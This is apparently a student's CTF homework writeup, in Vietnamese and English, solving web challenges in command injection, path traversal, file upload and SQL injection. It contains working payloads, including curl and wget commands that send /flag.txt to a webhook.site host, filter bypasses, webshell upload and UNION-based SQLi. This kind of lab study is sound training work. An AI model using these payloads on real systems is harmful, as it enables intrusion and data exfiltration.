# Writeup for PIS Web-hacking homework # OS Command Injection 1. The Existed File source code: ``` from flask import Flask, request, render_template_string import os import subprocess import string app = Flask(__name__) @app.route('/', methods=["GET", "POST"]) def index(): result = "" file_path = None if request.method == "POST": file_path = request.form.get("file_path") file_path = file_path.translate({ord(c): None for c in string.whitespace}) # Blacklist filter blacklisted = [";", "&", "|", "&&", "cat", "head", "tail", "zip", "base64", "bash", "sh", "python", "`"] is_blacklisted = any(bl in file_path for bl in blacklisted) if is_blacklisted: result = "Blacklist characters detected!" else: try: command = f"ls -l {file_path}" result = subprocess.check_output(command, shell=True).decode() if result: result = 'File is existed!' except Exception as e: result = 'File is not existed' return render_template_string(''' <b>Enter the file path to check if it exists:</b><br> <form method="post"> <input type="text" id="file_path" name="file_path" value="/etc/passwd"> <input type="submit" value="Submit"> </form> {% if file_path %} <b> Checking {{file_path }}</b><br></br> {% endif %} <pre>{{ result }}</pre> ''', result=result, file_path=file_path) if __name__ == "__main__": app.run("0.0.0.0", 1337) ``` challenge này filter 1 số keyword như ";", "&",... nhưng còn 1 cách để bypass đó là dùng "$", thử với payload sau: ``` $(sleep+5) ``` ![image](https://hackmd.io/_uploads/HkP3HwKWR.png) It works, nhưng space đã bị filter nên em sẽ thay thế bằng ${IFS}, thử lại với payload sau: ``` $(sleep${IFS}5$(ls)) ``` ![image](https://hackmd.io/_uploads/By9O8PFW0.png) aukay được ròi, nhưng nó k in ra gì hết, em kết luận đây là 1 bài dạng blind command injection, nên em sẽ dùng kỹ thuật OOB để xuất kết quả sang server của mình, payload như sau: ``` $(curl${IFS}-F{IFS}file=@/flag.txt${IFS}https://webhook.site/673c912f-6b31-445d-8e5a-0b18da398af0) ``` Boom iem đã có đựt flag :>> ![image](https://hackmd.io/_uploads/S1_fwDKWR.png) ***flag: CHH{os_c0mManD_INj3cTi0N_bypa5S_FIL7Er_c99ce71940dc14e612a6b8cdf6085674}*** 2. Ping 0x01 source code: ``` <?php if(isset($_POST[ 'ip' ])) { $target = trim($_POST[ 'ip' ]); $substitutions = array( '&' => '', ';' => '', '|' => '', '-' => '', '$' => '', '(' => '', ')' => '', '`' => '', '||' => '', ); $target = str_replace( array_keys( $substitutions ), $substitutions, $target ); $cmd = shell_exec( 'ping -c 4 ' . $target ); } ?> <!doctype html> <html lang="en"> <head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <title>Ping Pong</title> <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.0.2/dist/css/bootstrap.min.css" rel="stylesheet" integrity="sha384-EVSTQN3/azprG1Anm3QDgpJLIm9Nao0Yz1ztcQTwFspd3yD65VohhpuuCOmLASjC" crossorigin="anonymous"> <link href="style.css" rel="stylesheet"> </head> <body class="text-center"> <main class="form-ping"> <form method="post"> <img class="mb-4" src="picture.gif" alt="" width="272" height="257"> <h1 class="h3 mb-3 fw-normal">Ping machine</h1> <div class="form-floating"> <input name="ip" class="form-control" id="floatingInput"> <label for="floatingInput">Ip address</label> </div> <div class="text-start"> <?php if(isset($_POST[ 'ip' ])) { echo $target; echo "<pre>{$cmd}</pre>";}?> </div> <button class="w-100 btn btn-lg btn-primary" type="submit">Ping</button> </form> </main> </body> </html> ``` hmmm bài này bypass filter cũng khá dễ, dùng %0a (xuống dòng) để bypass là xong, test thử với payload sau: ``` ip=localhost%0awhoami ``` ![image](https://hackmd.io/_uploads/rkLuuDtbR.png) It works hehe :>, lấy flag thoii ``` ip=localhost%0acat%20/* ``` ![image](https://hackmd.io/_uploads/rJundvYW0.png) ***flag: CHH{EASY_f11tEr_coMM4ND_INJ3c71oN_1fffeb394465aab45cf64cc58dd17528}*** 3. Ping 0x02 source code: ``` <?php if(isset($_POST[ 'ip' ])) { $target = urldecode(trim($_POST[ 'ip' ])); $substitutions = array( '&' => '', ';' => '', '|' => '', '-' => '', '$' => '', '(' => '', ')' => '', '`' => '', '||' => '', ' ' => '', 'flag' => '', "*" => '' ); $target = str_replace( array_keys( $substitutions ), $substitutions, $target ); $cmd = shell_exec( 'ping -c 4 ' . $target ); } ?> <!doctype html> <html lang="en"> <head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <title>Ping Pong</title> <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.0.2/dist/css/bootstrap.min.css" rel="stylesheet" integrity="sha384-EVSTQN3/azprG1Anm3QDgpJLIm9Nao0Yz1ztcQTwFspd3yD65VohhpuuCOmLASjC" crossorigin="anonymous"> <link href="style.css" rel="stylesheet"> </head> <body class="text-center"> <main class="form-ping"> <form method="post"> <img class="mb-4" src="picture.gif" alt="" width="272" height="257"> <h1 class="h3 mb-3 fw-normal">Ping machine</h1> <div class="form-floating"> <input name="ip" class="form-control" id="floatingInput"> <label for="floatingInput">Ip address</label> </div> <div class="text-start"> <?php if(isset($_POST[ 'ip' ])) { echo $target; echo "<pre>{$cmd}</pre>";}?> </div> <button class="w-100 btn btn-lg btn-primary" type="submit">Ping</button> </form> </main> </body> </html> ``` Bài này filter "flag","space" và "*" :>, payload đơn giản thoii: ``` ip=localhost%0acat</flflagag.txt ``` khi server duyệt đến flflagag, do "flag" bị filter nên nó sẽ trở thành rỗng, và khi đó fl ghép với ag lại thành flag, và ta bypass thành công :> ![image](https://hackmd.io/_uploads/HJJrqPFZR.png) ***flag: CHH{Med1Um_F11TEr_coMm4ND_InJ3C71On_bedc0133da7fa07fb960fcfb17cb695e}*** 4. Blind Command Injection Đọc đề em nghĩ ngay tới OOB :> ![image](https://hackmd.io/_uploads/Bky4sDFZA.png) Đề bảo nếu không dùng method GET thì server sẽ thực thi cmd, nên em dùng phương thức HEAD, em thử trước với payload sau: ``` ?cmd=curl+https://webhook.site/673c912f-6b31-445d-8e5a-0b18da398af0 ``` ![image](https://hackmd.io/_uploads/B1-ciwYWR.png) Response từ server là 200, check server bên webhook xem có gì không: ![image](https://hackmd.io/_uploads/HJNAovtbC.png) Hmm, không có gì, có lẽ nó cũng filter curl nên em sẽ sử dụng cách khác, dùng wget :>, thử thoi nàoo: ``` ?cmd=wget+https://webhook.site/673c912f-6b31-445d-8e5a-0b18da398af0 ``` ![image](https://hackmd.io/_uploads/rJjwnPK-0.png) yayy đã có response từ webhook, lấy flag thoii: ``` ?cmd=wget+https://webhook.site/673c912f-6b31-445d-8e5a-0b18da398af0/?cmd=`cat+/*` ``` ![image](https://hackmd.io/_uploads/rkMxpPFbC.png) hehe :> ***flag: CHH{bl1Nd_c0MMaNd_InJec7iON_dd33473ecc22ec3886008e0b315d3d52}*** 5. Command Limit Length Có vẻ như bài này giới hạn độ dài command, test thử vài lệnh cơ bản xem sao: ![image](https://hackmd.io/_uploads/H1bx0wtb0.png) Có vẻ đã bị filter, thử lại với 'l's: ![image](https://hackmd.io/_uploads/S13b0wKW0.png) okayy ta đã có được file chứa flag, lấy nó thoii ![image](https://hackmd.io/_uploads/rksE0wK-0.png) oof giới hạn chỉ được 5 chữ, hmm giờ sao giờ ta, sau 1 hồi suy nghĩ thì em nhận ra lệnh * dùng để xuất toàn bộ file có trong thư mục lên màn hình, và tăng dần theo hàng(p/s em hong biết giải thích nnao khúc này huhu), nhưng nếu mình dựa vào đó để thực hiện lệnh thì sao, ví dụ khi tạo 1 file có tên cat, và trong file có 3 file a, b, c , khi ta dùng lệnh "*" thì nó sẽ như này: ``` cat a b c cat a cat b cat c ... ``` Phải thử mới biết được :> Đầu tiên em tạo 1 file có tên cat bằng ">cat", sau đó dùng 'l's để kiểm tra xem đã tạo được chưa: ![image](https://hackmd.io/_uploads/BkclguKbC.png) Okay thành công rồi, có lẽ là hướng đi của em đã đúng, giờ lấy flag thoii :> ![image](https://hackmd.io/_uploads/SkTzgOt-0.png) IT WORKSSS!!!, genius thiệt chớ :>> ***flag: CHH{TH3_m0N5t3r_rce_1s_D3f3AteD_7816e0d4fb58d6ff6a6e863a7a17967b}*** 6. Baby Ping Thử với payload cơ bản trước :> ``` host=8.8.8.8%0awhoami ``` ![image](https://hackmd.io/_uploads/BJKb-dtW0.png) Oh no nó đã chèn double quotes vào payload của em :<, nhưng hong sao, bypass cũng khá easy, chỉ cần chèn " trước command và phần còn lại là lịch sử thoii :> ``` host=8.8.8.8"%0acat+"/flag.txt ``` P/s: thêm " vào trước /flag.txt để kết hợp với " ở đoạn đuôi tạo thành "/flag.txt" ![image](https://hackmd.io/_uploads/BkwCZ_Y-A.png) ***flag:CHH{C0MM4ND_1nj3C7ioN_pinG_ea6ee2f78beef47684518a241cfe657c}*** 7. Baby Crawler Lại thêm 1 bài OOB, hiu hiu em lười viết qaa nên em để payload ở đây :> ``` https://vnexpress.net/viet-nam-xuat-khau-sang-my-latinh-mot-ty-usd-moi-thang-4541275.html;curl -F file=@/flag.txt https://webhook.site/673c912f-6b31-445d-8e5a-0b18da398af0 ``` ***flag:CHH{b48Y_CUrl_CrAwl3r_0c2e73059bea53200537d008367ea5f6}*** 8. Ethical Ping Pong Club payload đơn giản thoii: ``` addr=localhost%0acat</flag.txt ``` ![image](https://hackmd.io/_uploads/HJTC7_YbR.png) ***flag:EHC{C0mm4nd_1nj3ct10n_6df54b3532fc66d5e72cda34c5cf67f7}*** 9. PHP - Command injection "The flag is on the index.php file" dùng ls -al để xem toàn bộ file trong thư mục hiện tại: ``` ip=localhost%0als+-al ``` ![image](https://hackmd.io/_uploads/B1gGrdFb0.png) okayy thấy file .passwd ròi, lụm flag thoii: ``` ip=localhost%0acat+.passwd ``` ![image](https://hackmd.io/_uploads/B1tBSdtbA.png) ***flag:S3rv1ceP1n9Sup3rS3cure*** 10. Command injection - Filter bypass Bài này Blind, nên em dùng OOB luôn, payload như sau: ``` ip=localhost%0acurl+-F+file=@.passwd+https://webhook.site/673c912f-6b31-445d-8e5a-0b18da398af0 ``` ***flag:Comma@nd_1nJec7ion_Fl@9_1337_Th3_G@m3!!!*** # Path Traversal 1. Path Traversal source code: ``` #!/usr/bin/python3 from flask import Flask, request, render_template, abort from functools import wraps import requests import os, json users = { '0': { 'userid': 'guest', 'level': 1, 'password': 'guest' }, '1': { 'userid': 'admin', 'level': 9999, 'password': 'admin' } } def internal_api(func): @wraps(func) def decorated_view(*args, **kwargs): if request.remote_addr == '127.0.0.1': return func(*args, **kwargs) else: abort(401) return decorated_view app = Flask(__name__) app.secret_key = os.urandom(32) API_HOST = 'http://127.0.0.1:1337' try: FLAG = open('/flag.txt', 'r').read() # Flag is here!! except: FLAG = '[**FLAG**]' @app.route('/') def index(): return render_template('index.jinja2') @app.route('/get_info', methods=['GET', 'POST']) def get_info(): if request.method == 'GET': return render_template('get_info.jinja2') elif request.method == 'POST': userid = request.form.get('userid', '') info = requests.get(f'{API_HOST}/api/user/{userid}').text return render_template('get_info.jinja2', info=info) @app.route('/api') @internal_api def api(): return '/user/<uid>, /flag' @app.route('/api/user/<uid>') @internal_api def get_flag(uid): try: info = users[uid] except: info = {} return json.dumps(info) @app.route('/api/flag') @internal_api def flag(): return FLAG @app.errorhandler(404) def page_not_found(e): # note that we set the 404 status explicitly return render_template('404.jinja2'), 404 application = app app.run(host='0.0.0.0', port=1337) # Dockerfile # ENTRYPOINT ["uwsgi", "--socket", "0.0.0.0:8000", "--protocol=http", "--threads", "4", "--wsgi-file", "app.py"] ``` Bài này cũng khá đơn giản thoi, mấu chốt nằm ở khúc này: ``` @app.route('/get_info', methods=['GET', 'POST']) def get_info(): if request.method == 'GET': return render_template('get_info.jinja2') elif request.method == 'POST': userid = request.form.get('userid', '') info = requests.get(f'{API_HOST}/api/user/{userid}').text return render_template('get_info.jinja2', info=info) @app.route('/api') @internal_api def api(): return '/user/<uid>, /flag' @app.route('/api/user/<uid>') @internal_api def get_flag(uid): try: info = users[uid] except: info = {} return json.dumps(info) @app.route('/api/flag') @internal_api def flag(): return FLAG ``` Khi ta nhập vào uid, thì server sẽ redirect tới /api/user/userid, khi nào redirect tới /api/flag thì sẽ trả lại flag, vậy ta chỉ cần lùi về 2 endpoint là đã có được flag, payload như sau: ``` userid=../flag ``` ![image](https://hackmd.io/_uploads/r1mtK_t-A.png) ***flag:CHH{pa7H_TrAvERSal_inT3Rnal_Bypa55_0b8036d71e998d42ee445230f54b0cf6}*** 2. Unzip me now Bài này dùng kỹ thuật symlink, tựa như 1 bài trong picoCTF, thì đại khái symlink (Symbolic link) là thuật ngữ chỉ một file tham chiếu đến file khác hoặc thư mục khác dưới dạng đường dẫn tương đối hoặc tuyệt đối. Mình chỉ cần tạo 1 symlink tới /flag.txt và lưu nó dưới dạng zip sau đó up lên web là đã có được flag. Command như sau: ``` ln -s /flag.txt flag zip -y flag.zip flag ``` upload lên và lấy flag thoii: ***flag:CHH{zIPpy_PATH_tRAvERS4l_96e5ca844a4e459b7800ec1129a173da}*** 3. Directory traversal ![image](https://hackmd.io/_uploads/rJIvpdFZC.png) Dễ dàng thấy có thể khai thác ở parameter galerie, thử để trống xem có gì ![image](https://hackmd.io/_uploads/Syz56uF-C.png) Đây ròii, đọc source và làm thoaii Final link: http://challenge01.root-me.org/web-serveur/ch15/galerie/86hwnX2r/password.txt ***flag:kcb$!Bx@v4Gs9Ez*** # File upload 1. Upload Path Traversal Đề bài bảo mình k thể execute web shell ở thư mục hiện tại, thế thì chỉ cần lùi về 1 thư mục thoi, đổi filename lại thành %2e%2e%2f để bypass ../, đổi extension thành .php để thực thi command: ![image](https://hackmd.io/_uploads/H1X2-FYbR.png) Kết quả: ![image](https://hackmd.io/_uploads/HksA-KYZC.png) Inject command vào và lấy flag thôi: ***flag: CHH{uPl04d_vIA_P4tH_Trav3r54L_69e2b5d44c4083765284690019136bea}*** P/s: hầu như các chall sau chall nào cũng 1 lời giải như 1 nên em sẽ để writeup của chall này như 1 lời giải chung :V 2. File upload via PUT method Hmm upload thông qua method PUT, search google tìm cách thoi: https://stackoverflow.com/questions/5143915/test-file-upload-using-http-put-method command: ``` curl -X PUT -T exploit.php http://103.97.125.56:31980/images/ ``` ![image](https://hackmd.io/_uploads/B1LO7FYbR.png) aukay và exploit.php đã được upload, lấy flag thoii: ***flag:CHH{pu7_MetHod_WEBDaV_09eca9ad708f0c686534368551714790}*** 3. Insufficient blacklisting file types Bài này filter các extensions như .php, .php3, .php4, .php5, tìm tòi 1 chút trên PayLoadAllTheThings, kiến thức mới đã được tiếp thuu :> ![image](https://hackmd.io/_uploads/Sy88NKtbR.png) aukay khai thác thoi :> ![image](https://hackmd.io/_uploads/BJmU8tKb0.png) hehe upload thành công rồi, lấy flag thoi nào :3 ***flag:CHH{IN$UFFicieNT_81Ackl1st1NG_f1LE_7YP35_0c706e179afc7435dbfafb3510853219}*** # SQL Injection 1. Simple SQL Injection Bypass Login Simple theo nghĩa đen, test thử với payload cơ bản nhất: ``` "OR 1=1 -- - ``` ![image](https://hackmd.io/_uploads/BywlKtFWC.png) Hmm nó hiện cột guest trước sau cột admin, chỉnh sửa lại payload 1 xíu: ``` "OR 1=1 order by 1,2-- - ``` and we've got the flag: ![image](https://hackmd.io/_uploads/B1lVKtFb0.png) ***flag: CHH{s1MPL3_$qlI_ByP45S_L0GiN_9c6cbc881ea6e02d8ae3f28def0e94f7}*** 2. Baby Address Note Đầu tiên em xác định số cột có thể khai thác bằng payload sau: ``` 'order by 1,4-- - ``` ![image](https://hackmd.io/_uploads/Bk4HTFFWC.png) có thể thấy chỉ có 3 cột tối đa, sau đây là payload của em để lấy tên bảng: ``` 'union select 1,sql,3 from sqlite_master-- - ``` ![image](https://hackmd.io/_uploads/rku5TtFWR.png) có thể thấy tên bảng chứa flag là flag_xCiL5, và giá trị của flag nằm ở cột 2, tiến hành lấy flag thoi :> Final payload: ``` 'union select 1,flag,3 from flag_xCiL5-- - ``` ![image](https://hackmd.io/_uploads/S1izRKYbC.png) ***flag: CHH{5QL_INJ3cTiON_SQL1T33_d046681f7519d21d2fcbaca3b9eec8a2}*** 3. SQL injection vulnerability in WHERE clause ![image](https://hackmd.io/_uploads/HJ290KtZA.png) Dựa vào parameter em có thể suy được query của server là SELECT FROM list WHERE category=? Payload của em để lấy flag ``` ?category='or 1=1 -- - ``` ***flag: CHH{51mpL3_Sqli_IN_WhER3_b6c191bd31cadd5b91709fc4b3025ea6}*** 4. Simple SQLi Bài này cũng như bài đầu thoii ***flag: CHH{5IMpL3_5ql_1njEC710N_0b7b331fba72b853388bfb1a4b2d6c6b}*** 5. SQL Direct ![image](https://hackmd.io/_uploads/rJikG5tWA.png) 1 bài postgresql, payload của em để lấy tất cả bảng: ``` select * from information_schema.tables; ``` ![image](https://hackmd.io/_uploads/HJpKZqKbA.png) Đã thấy bảng flags, lấy flag thoii :> ``` select * from flags; ``` ![image](https://hackmd.io/_uploads/S1wpb9YbA.png) ***flag:picoCTF{L3arN_S0m3_5qL_t0d4Y_31fd14c0}*** 6. More SQLi ![image](https://hackmd.io/_uploads/B175M9tW0.png) ![image](https://hackmd.io/_uploads/SyuCM9tbC.png) 1 form login, thử 1 simple payload thôi nào: ``` 'or 1=1 -- - ``` ![image](https://hackmd.io/_uploads/Hkm-XqFWR.png) à nó select từ password trước, đảo vị trí thôi là xong: ![image](https://hackmd.io/_uploads/r1MFmqtbA.png) tiếp tục lấy tên bảng tiếp :> ``` 'union select 1,sql,3 from sqlite_master-- - ``` ![image](https://hackmd.io/_uploads/BJG27qYb0.png) flag nằm trong bảng more_table, lấy flag thoii: ``` 'union select 1,flag,3 from more_table-- - ``` ![image](https://hackmd.io/_uploads/rJifNcFbR.png) ***flag: picoCTF{G3tting_5QL_1nJ3c7I0N_l1k3_y0u_sh0ulD_c8ee9477}*** 7. SQLiLite ![image](https://hackmd.io/_uploads/BkMw49FW0.png) ![image](https://hackmd.io/_uploads/HkLtNqtWA.png) lại là 1 login panel, simple payload: ``` 'or 1=1-- - ``` ![image](https://hackmd.io/_uploads/B1psE5Y-R.png) ok xem source và lấy flag thoi: ***flag: picoCTF{L00k5_l1k3_y0u_solv3d_it_9b0a4e21}***